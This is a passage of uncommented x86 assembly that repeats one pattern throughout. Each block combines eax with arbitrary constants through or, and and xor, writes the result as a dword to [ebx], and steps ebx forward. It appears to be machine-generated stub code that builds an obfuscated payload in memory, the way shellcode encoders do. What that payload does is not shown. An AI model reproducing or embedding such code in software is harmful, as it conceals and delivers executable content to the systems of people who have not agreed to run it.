or eax, 0x1fbaed74
and eax, 0x8f8e4d44
or eax, 0x288
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7f6f874a
and eax, 0x20410806
or eax, 0x40a0400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6b228406
and eax, 0x4d288800
or eax, 0x30162620
mov dword [ebx], eax
add ebx, ecx
or eax, 0xe997d7c
or eax, 0x2c226553
and eax, 0x71337173
or eax, 0x400000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x49aa48ce
and eax, 0x24002
or eax, 0x9cdd0fa9
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7b9c69a0
or eax, 0x2d9ccd72
and eax, 0xddd0899a
or eax, 0x201000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x756ee6f
and eax, 0x9444d25b
or eax, 0x20080000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2c4c2973
and eax, 0x1000f120
or eax, 0x657f0417
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2d2fc5ba
and eax, 0x240c8012
or eax, 0x10101885
mov dword [ebx], eax
add ebx, ecx
or eax, 0x69841d69
xor eax, 0x6652ccb0
and eax, 0x94a410a
or eax, 0xe0110030
mov dword [ebx], eax
add ebx, ecx
and eax, 0x628af6af
or eax, 0x6d30c261
and eax, 0x65020001
or eax, 0x12040c84
mov dword [ebx], eax
add ebx, ecx
and eax, 0xe279dee
and eax, 0x20484
or eax, 0xa9a8a00b
mov dword [ebx], eax
add ebx, ecx
or eax, 0x41614869
and eax, 0x677b5405
and eax, 0x61094001
or eax, 0x96000172
mov dword [ebx], eax
add ebx, ecx
and eax, 0x17ca0e18
and eax, 0x5000010
or eax, 0xc0b08d64
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4f506709
xor eax, 0x6b2f3c07
and eax, 0x53c360
or eax, 0x1000485
mov dword [ebx], eax
add ebx, ecx
and eax, 0x330824ad
and eax, 0x10000a5
or eax, 0x74b3a308
mov dword [ebx], eax
add ebx, ecx
or eax, 0x351f8575
and eax, 0x6ba1c02e
and eax, 0x41210024
or eax, 0x985e1253
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7ddb2f6b
and eax, 0x411506f5
and eax, 0x40010
or eax, 0x8102aa0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1342c998
and eax, 0x18164808
or eax, 0xa4a01401
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x568417ef
and eax, 0x62204846
or eax, 0x10440411
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5a8a8444
and eax, 0xee8800
or eax, 0x11003120
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6144600c
or eax, 0x1a252033
and eax, 0x4ae8491e
or eax, 0x80100000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7a9778ca
or eax, 0x32e08d87
and eax, 0x2a04486
or eax, 0x260
mov dword [ebx], eax
add ebx, ecx
and eax, 0x170394ae
or eax, 0x29d33b6e
and eax, 0x20832f4a
or eax, 0x94280010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3c38a927
and eax, 0x24bfb007
and eax, 0x818005
or eax, 0x7e4041c8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x13e6fd22
or eax, 0x7549c341
and eax, 0x427d38e
or eax, 0x10
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x552d5e1f
and eax, 0x3dc57d6e
and eax, 0x10000000
or eax, 0xa6bde22c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5ff4220f
and eax, 0xc0418021
or eax, 0x2a63594
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4e3308fb
and eax, 0x4c160523
or eax, 0x30084000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x27857f25
xor eax, 0x3eafa010
and eax, 0x40100402
or eax, 0x96c50008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x262c19e2
and eax, 0x30c101e8
or eax, 0x302e015
mov dword [ebx], eax
add ebx, ecx
and eax, 0xb8dee1f
and eax, 0x200c018
or eax, 0xe0601ec0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4721b1bb
and eax, 0x400943
or eax, 0x12a20010
mov dword [ebx], eax
add ebx, ecx
and eax, 0x42593172
xor eax, 0x2e160412
and eax, 0x20100
or eax, 0xc220e231
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3ab79eee
or eax, 0x77c8557a
and eax, 0x62aa0340
or eax, 0x8040081
mov dword [ebx], eax
add ebx, ecx
or eax, 0x28763e2f
or eax, 0x766f18c3
and eax, 0x68fc3a88
or eax, 0x8100c010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3d832f89
xor eax, 0x17488e9a
and eax, 0x6a847002
or eax, 0x5400874
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3b69a55e
and eax, 0x40051520
or eax, 0x89402251
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4eb6f3fd
and eax, 0x3238480
or eax, 0x48003b01
mov dword [ebx], eax
add ebx, ecx
or eax, 0x46fab521
and eax, 0x4939bf01
or eax, 0x44042
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4dc38dcf
or eax, 0x3ffd872a
and eax, 0x2a9a5647
or eax, 0x80000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x511773d
xor eax, 0x69222c0b
and eax, 0x46000840
or eax, 0x31546006
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3023a4b2
and eax, 0x20000002
or eax, 0xc67356b1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x420e015a
and eax, 0x2020010
or eax, 0xb5790361
mov dword [ebx], eax
add ebx, ecx
and eax, 0x9e82811
and eax, 0x1400001
or eax, 0xf8107fc2
mov dword [ebx], eax
add ebx, ecx
and eax, 0x29fd5c97
xor eax, 0x1e6a5520
and eax, 0x112809a1
or eax, 0xc041b454
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1c986077
and eax, 0x4305c00
or eax, 0x1206220d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7ecb40cb
and eax, 0x9f2025c
and eax, 0x8a00240
or eax, 0x54088089
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2fda532e
or eax, 0x5ffad85c
and eax, 0x2c92412d
or eax, 0x80010400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x594bd10d
xor eax, 0x418ed976
and eax, 0x49010820
or eax, 0x2020784
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x70a5400b
or eax, 0x7fc39f53
and eax, 0x4b43507c
or eax, 0x102000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4a00a4de
xor eax, 0x47694fc8
and eax, 0x9600f10
or eax, 0xa0141023
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6316ce45
and eax, 0x82425120
or eax, 0x141c0c09
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2ee8c1be
and eax, 0x6404120
or eax, 0x1b495
mov dword [ebx], eax
add ebx, ecx
and eax, 0x61957c67
xor eax, 0x402edfe5
and eax, 0x222b40
or eax, 0x87400012
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4b1a3857
or eax, 0x17a0c5db
and eax, 0x480c082
or eax, 0xe0041020
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3c306a94
xor eax, 0x4aabe612
and eax, 0x92101080
or eax, 0x48e0a010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xbfae6c5
or eax, 0x4e01bf3d
and eax, 0x930b8b59
or eax, 0x80
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1301ffed
and eax, 0x62819621
and eax, 0x8201
or eax, 0x20b0290e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3974c12d
xor eax, 0x7abbc10e
and eax, 0x2101a20c
or eax, 0x10800042
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x30c86b1d
and eax, 0x400801
or eax, 0x5ca626a0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3272135f
and eax, 0x404f88a8
and eax, 0x400008
or eax, 0x3b08f455
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1ffe5e1c
and eax, 0x1808500c
or eax, 0x80b3a323
mov dword [ebx], eax
add ebx, ecx
or eax, 0xe09e990
and eax, 0x29e273ae
and eax, 0x8000224
or eax, 0xd3148450
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4abe5052
and eax, 0x20dafa23
and eax, 0x80c000
or eax, 0xe5252590
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x60f270b
and eax, 0x7231891
and eax, 0x3000081
or eax, 0xd8859d6c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5a8de1c
and eax, 0x90a80409
or eax, 0x20000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1aa44a9a
and eax, 0xa0044603
or eax, 0x54c0a100
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5d8d32e6
and eax, 0x54840000
or eax, 0x23490d85
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4901191a
and eax, 0x10100
or eax, 0x38eea2f6
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xb464310
and eax, 0x216040
or eax, 0x84160b08
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5b1f44c8
and eax, 0x41282b00
or eax, 0x20831020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6b03644b
and eax, 0xa085909
or eax, 0x74552000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x13158dbc
or eax, 0x514562f8
and eax, 0x249c4ec
or eax, 0xa20002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x66fce68d
and eax, 0x2688404
or eax, 0xc5071000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2386cb5c
and eax, 0x62698114
or eax, 0x100020a1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x43912fa4
and eax, 0x50c88ca0
or eax, 0x4040042
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5498f52f
and eax, 0x610d
or eax, 0x20038232
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x36ea7382
xor eax, 0x5dfa367b
and eax, 0x49018286
or eax, 0x20cc4931
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x71aec49c
or eax, 0x6aa5c034
and eax, 0x28a4cd05
or eax, 0x84082080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4ae75f4d
and eax, 0x40214fcd
or eax, 0x1000010
mov dword [ebx], eax
add ebx, ecx
and eax, 0x11c85e3a
and eax, 0x2784586a
and eax, 0x1000000
or eax, 0x328094d4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x9183e88
and eax, 0x18908014
or eax, 0x412014a3
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x51bdc822
or eax, 0x35b87d6a
and eax, 0x3809795f
or eax, 0x42008200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6eac068d
or eax, 0x3b1655f6
and eax, 0x4d82be86
or eax, 0x400000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4df40c33
and eax, 0x2eaff446
and eax, 0x63404
or eax, 0x82110301
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x509e8b76
and eax, 0x281b003
or eax, 0x21520380
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5ea2e3a1
and eax, 0x560a58a2
and eax, 0x500050a2
or eax, 0x1d08701
mov dword [ebx], eax
add ebx, ecx
or eax, 0xe2e0104
xor eax, 0x595f91e6
and eax, 0x4a14240
or eax, 0x695c30be
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2454d7b8
or eax, 0xaa95865
and eax, 0x4a211124
or eax, 0xa4120200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x58583f6
and eax, 0xe9108082
or eax, 0x4494500
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x40f739ed
and eax, 0xa4aaec4e
or eax, 0x40100210
mov dword [ebx], eax
add ebx, ecx
or eax, 0x446d4748
and eax, 0x20bbcf16
or eax, 0x130000a0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2673536f
and eax, 0x22224206
or eax, 0x4488b889
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x15399e96
or eax, 0xa5adabe
and eax, 0x2000ee3e
or eax, 0x84240040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2969723e
or eax, 0x76705e97
and eax, 0x5010409c
or eax, 0x80000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5c07b66d
and eax, 0x40016425
or eax, 0x22a00902
mov dword [ebx], eax
add ebx, ecx
and eax, 0x77544e19
xor eax, 0x6259a6e0
and eax, 0x19ca60
or eax, 0x6a26051c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x294b7d12
xor eax, 0x7c7c1545
and eax, 0x1703c230
or eax, 0x40c80404
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3fbdcfbe
and eax, 0x16010634
or eax, 0x40263141
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x41e2a62a
and eax, 0x3410016
or eax, 0x20220620
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x19ed494e
or eax, 0x3d9881fb
and eax, 0x13808609
or eax, 0x80612000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5370c869
and eax, 0x2033b870
and eax, 0x10000
or eax, 0xc0c2571b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7ee9f3fc
and eax, 0xc10310
or eax, 0x8f128882
mov dword [ebx], eax
add ebx, ecx
and eax, 0x226540b9
and eax, 0x504fdec6
and eax, 0x400000
or eax, 0x7018d800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4f389a7b
and eax, 0x61318b11
and eax, 0x1200200
or eax, 0x4a4128e0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x325ceb2e
and eax, 0x4b79a3c6
or eax, 0x80020411
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x40937b3e
and eax, 0x33f868ee
and eax, 0x3e808a8
or eax, 0xf406b417
mov dword [ebx], eax
add ebx, ecx
or eax, 0x78ad0c99
or eax, 0x3f11258e
and eax, 0x1c5b25a7
or eax, 0x240
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1f560b6f
and eax, 0x170a2fc8
or eax, 0xc0000000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6f8cbcc8
xor eax, 0x15424c1c
and eax, 0x20c86354
or eax, 0x10100803
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5b4a4680
or eax, 0x67bb0191
and eax, 0x76a80200
or eax, 0x800ac42
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x54c0d37d
and eax, 0x20683933
or eax, 0xd4908240
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6a4a30e0
and eax, 0x28422340
or eax, 0x14404
mov dword [ebx], eax
add ebx, ecx
and eax, 0x76684c0c
xor eax, 0x2220bbf7
and eax, 0x606400
or eax, 0xf0910004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x195d4bdd
and eax, 0x70042a19
or eax, 0x2021000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x56b17d12
and eax, 0x24810502
or eax, 0x848a820
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4e94220c
and eax, 0x66910326
or eax, 0x91021050
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4c45b9f6
and eax, 0x382c881f
and eax, 0x18040000
or eax, 0x86125520
mov dword [ebx], eax
add ebx, ecx
or eax, 0xd55bffc
or eax, 0x5006d2fe
and eax, 0xca442524
or eax, 0x880000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x77fa2a81
and eax, 0x913001a0
or eax, 0x49d052
mov dword [ebx], eax
add ebx, ecx
or eax, 0x9e26723
and eax, 0x1019d612
or eax, 0x6200000c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x487b93d4
xor eax, 0x3fb52ee1
and eax, 0xd22a21
or eax, 0x320884c4
mov dword [ebx], eax
add ebx, ecx
or eax, 0x8ff8f32
xor eax, 0x60a61e4f
and eax, 0x4809b180
or eax, 0x5004001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x29b4e33b
and eax, 0x64bc100a
or eax, 0xa400940
mov dword [ebx], eax
add ebx, ecx
and eax, 0x78c55000
and eax, 0x5c3dd3f0
and eax, 0x8001000
or eax, 0x2590d6e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7509e532
and eax, 0x3818f042
or eax, 0x80200200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4d9b05f1
and eax, 0x9583e780
or eax, 0x250084c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x224daa17
and eax, 0xa5c940cf
or eax, 0x40200000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x322385f5
and eax, 0x13ae11b5
and eax, 0x118a0020
or eax, 0xec309a8d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x605ef90
or eax, 0xf5c9f1c
and eax, 0xf73db991
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x76347182
and eax, 0xa7050090
or eax, 0x2062c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5df6bafc
and eax, 0x100008c
or eax, 0x98295840
mov dword [ebx], eax
add ebx, ecx
or eax, 0xb5b614d
and eax, 0x1514888
or eax, 0x40808012
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x17002867
and eax, 0x104180e5
or eax, 0xa9080100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7b4e24b3
xor eax, 0x1c7d6ea4
and eax, 0xca1a0990
or eax, 0x2084000c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7287b963
and eax, 0x2d1818e2
and eax, 0
or eax, 0xda0271ad
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7316e980
and eax, 0x335e4393
and eax, 0x13120000
or eax, 0x4881982e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x765d7ac4
xor eax, 0x63bfda6e
and eax, 0x1084c028
or eax, 0xc0110994
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7cc52ba2
and eax, 0x58440394
or eax, 0x2020040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xfbd77ad
and eax, 0x11525069
or eax, 0xaa000380
mov dword [ebx], eax
add ebx, ecx
or eax, 0x73cb6f43
and eax, 0x7e6e9e67
and eax, 0x1a021021
or eax, 0x84b0819c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x78d6febc
and eax, 0x10000008
or eax, 0xc3216102
mov dword [ebx], eax
add ebx, ecx
or eax, 0x97bff30
xor eax, 0x5320e307
and eax, 0x804b0c01
or eax, 0x53242340
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x56db68e7
and eax, 0x4b44484
or eax, 0x20a8810
mov dword [ebx], eax
add ebx, ecx
and eax, 0x97756bb
or eax, 0x5bea05bd
and eax, 0x42c64029
or eax, 0x20008000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x20e51bfb
and eax, 0x26c1fc96
and eax, 0x800000
or eax, 0x1010e0a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x8594067
and eax, 0x114861
or eax, 0x54203110
mov dword [ebx], eax
add ebx, ecx
and eax, 0xbdd9dad
or eax, 0x58aa7a7a
and eax, 0x508a3a10
or eax, 0xa6040404
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7552952a
and eax, 0x83440232
or eax, 0x14014400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6faffc5e
or eax, 0x1a85e7cd
and eax, 0x1185469a
or eax, 0x60201800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2ef84c74
xor eax, 0xfcc5427
and eax, 0x501006c1
or eax, 0x254aa804
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x161e7746
and eax, 0x2044c801
or eax, 0xc190254
mov dword [ebx], eax
add ebx, ecx
or eax, 0x65756dad
or eax, 0x1eac9279
and eax, 0x399892d4
or eax, 0x80020000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2d139b9f
or eax, 0x38d22547
and eax, 0x38c2b595
or eax, 0x42084820
mov dword [ebx], eax
add ebx, ecx
and eax, 0x17ca87a2
and eax, 0x12c08100
or eax, 0xe0116052
mov dword [ebx], eax
add ebx, ecx
or eax, 0x13541a10
and eax, 0x56525d89
and eax, 0x40400000
or eax, 0xc26a6ce
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6f3a2ae6
xor eax, 0x35f1bd4a
and eax, 0x4a8a0220
or eax, 0xa010c843
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1a8b293b
xor eax, 0x2cc0fe8d
and eax, 0xd05904a2
or eax, 0x924ca00
mov dword [ebx], eax
add ebx, ecx
and eax, 0x17659f3c
or eax, 0x1d9458d1
and eax, 0x89052c0
or eax, 0xc0080002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x171429ab
and eax, 0xb886840
or eax, 0x238404
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7d8300df
and eax, 0x2408a091
or eax, 0x81111020
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2a14c224
and eax, 0x5736d1a6
and eax, 0x1140080
or eax, 0xf0a10551
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5291d00d
or eax, 0x6dc04127
and eax, 0xb40549a
or eax, 0x10130a00
mov dword [ebx], eax
add ebx, ecx
or eax, 0x701d2c1f
and eax, 0x7a023e1e
or eax, 0x80200060
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4980748
and eax, 0x34320802
or eax, 0x10442c8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x78a32f50
and eax, 0x456cf04e
and eax, 0x4042002
or eax, 0xa8d810e5
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x78d3268d
or eax, 0x144ebdb8
and eax, 0x8049898a
or eax, 0x1804004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1e17a2dc
and eax, 0x9f1bc144
or eax, 0x1020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x69247b0d
and eax, 0x3d346892
and eax, 0x300800
or eax, 0x438bc08f
mov dword [ebx], eax
add ebx, ecx
or eax, 0x22756310
and eax, 0x31141e42
and eax, 0x21000a02
or eax, 0x42c8c065
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5b480935
or eax, 0x17b3152c
and eax, 0x50e38b6f
or eax, 0x2000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x506fbf9f
and eax, 0x22a80b
or eax, 0xe8804e0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5aec9377
and eax, 0x122db6b
and eax, 0x8101
or eax, 0xddd90414
mov dword [ebx], eax
add ebx, ecx
and eax, 0x34532c71
and eax, 0x10100010
or eax, 0xe2a2f28a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6e9fafa5
or eax, 0x152b1a47
and eax, 0x751ef7d8
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5c99a4ea
and eax, 0x8045000
or eax, 0xd4402c09
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4bcf8cb5
xor eax, 0x1be62e42
and eax, 0x11a22240
or eax, 0x8c514138
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4d329538
xor eax, 0x258d8d19
and eax, 0xf02a1241
or eax, 0x2008400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4e3ff42c
and eax, 0x34346025
or eax, 0x800990
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6af73c88
and eax, 0x20300800
or eax, 0x124a4648
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2c58dd20
and eax, 0x8101620
or eax, 0x1052016
mov dword [ebx], eax
add ebx, ecx
and eax, 0x41c4bbf8
or eax, 0x6d4cd0a
and eax, 0x1844118
or eax, 0x80200001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3ce8785e
xor eax, 0x19834d64
and eax, 0x84426422
or eax, 0x11002d0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x393a7110
xor eax, 0x363a4895
and eax, 0x80403825
or eax, 0x14b84080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x32525d68
and eax, 0x401800
or eax, 0x6b8b87d7
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7cd06594
and eax, 0x25daab9
and eax, 0x110800
or eax, 0xf9e4542c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x66e106e3
or eax, 0x627bad1f
and eax, 0x223b2515
or eax, 0x9d044240
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5a3cad6a
xor eax, 0x779f39c2
and eax, 0xc8068
or eax, 0x49200c00
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5b09eaf7
xor eax, 0x63ebf85d
and eax, 0x28821200
or eax, 0x8230a109
mov dword [ebx], eax
add ebx, ecx
or eax, 0x79575841
or eax, 0x752906ad
and eax, 0xfba5e525
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x311e1e6b
and eax, 0x80282008
or eax, 0x34440421
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3f81588c
and eax, 0x512d6ba3
and eax, 0x2508a0
or eax, 0x14428308
mov dword [ebx], eax
add ebx, ecx
or eax, 0x167d170b
or eax, 0x3732e78e
and eax, 0x480280
or eax, 0x48800010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xafc05c1
and eax, 0x40340510
or eax, 0x8d417824
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x54e5c869
or eax, 0x7ef53e8
and eax, 0xaaea0fd
or eax, 0x800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x40b7da9c
and eax, 0xc88f8
or eax, 0x10400000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5a9a8041
and eax, 0x137fa45d
and eax, 0x12080048
or eax, 0x4c811c20
mov dword [ebx], eax
add ebx, ecx
or eax, 0x40a4cfaf
and eax, 0x46a045e4
or eax, 0x80122000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x559af0db
or eax, 0x56ca010
and eax, 0xc660c0
or eax, 0xb2001525
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1e690e93
and eax, 0x2400000
or eax, 0xa4aee24e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1f956d9a
or eax, 0x6a8d6a3a
and eax, 0x7219a190
or eax, 0x1001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1e06a6fe
and eax, 0x2080
or eax, 0xc47a1a26
mov dword [ebx], eax
add ebx, ecx
or eax, 0x77ec79f
or eax, 0x765bc452
and eax, 0xd0006cc5
or eax, 0x8800000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1a90eb1f
and eax, 0x802000
or eax, 0x653890fa
mov dword [ebx], eax
add ebx, ecx
or eax, 0x58454b18
and eax, 0x5e7a28b4
and eax, 0x1c402020
or eax, 0x20040105
mov dword [ebx], eax
add ebx, ecx
or eax, 0x758aa0b2
and eax, 0x5f676277
and eax, 0x48400027
or eax, 0x80a0c340
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7a4cad0
and eax, 0x4240
or eax, 0x785828a8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4a35cc8c
and eax, 0x20290644
or eax, 0x80921900
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2a5445d1
and eax, 0xea5a10
or eax, 0x65000420
mov dword [ebx], eax
add ebx, ecx
or eax, 0x65534967
and eax, 0x244a4d35
or eax, 0x12042008
mov dword [ebx], eax
add ebx, ecx
and eax, 0x29acb581
and eax, 0x200c2101
or eax, 0x19334aea
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4bc67924
and eax, 0x44100
or eax, 0x42c9804d
mov dword [ebx], eax
add ebx, ecx
and eax, 0xd1841ec
and eax, 0x8014c
or eax, 0xd9e6a692
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2b1d0bf
or eax, 0x3ba8a142
and eax, 0xe25e3561
or eax, 0x4000098
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x565f17d
and eax, 0x32bc084
or eax, 0x1c402b13
mov dword [ebx], eax
add ebx, ecx
or eax, 0x215e9486
and eax, 0x161e4e14
or eax, 0x40800008
mov dword [ebx], eax
add ebx, ecx
or eax, 0xf3b1c1d
and eax, 0x47ad5341
and eax, 0x41215001
or eax, 0xa802a910
mov dword [ebx], eax
add ebx, ecx
or eax, 0x74ffff56
xor eax, 0x7a87051d
and eax, 0x82301048
or eax, 0x60050184
mov dword [ebx], eax
add ebx, ecx
or eax, 0x79e69577
or eax, 0x1c872e96
and eax, 0x34202b1e
or eax, 0x4000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7bda1c9a
xor eax, 0x44cbe29b
and eax, 0x20009c05
or eax, 0x84002012
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6b43e3a1
or eax, 0x1641a83e
and eax, 0xfe422616
or eax, 0x880040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3089f197
and eax, 0x30882004
or eax, 0x730c888
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4c45eefc
xor eax, 0x5aad9530
and eax, 0x79cc
or eax, 0xa090431
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1b0e7070
or eax, 0x9d7d25
and eax, 0x11810d88
or eax, 0x64608042
mov dword [ebx], eax
add ebx, ecx
and eax, 0x585e1ea3
and eax, 0x50400402
or eax, 0xc8cd371
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x105e2134
and eax, 0x1286776c
and eax, 0x26440
or eax, 0xe7450098
mov dword [ebx], eax
add ebx, ecx
and eax, 0x51d8ed31
or eax, 0x791cc354
and eax, 0x31146244
or eax, 0x6a3080b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7c5dbca1
and eax, 0x7d71954
and eax, 0x150800
or eax, 0xa86ad763
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3449a38b
xor eax, 0x1c444ccf
and eax, 0x221024
or eax, 0x13818050
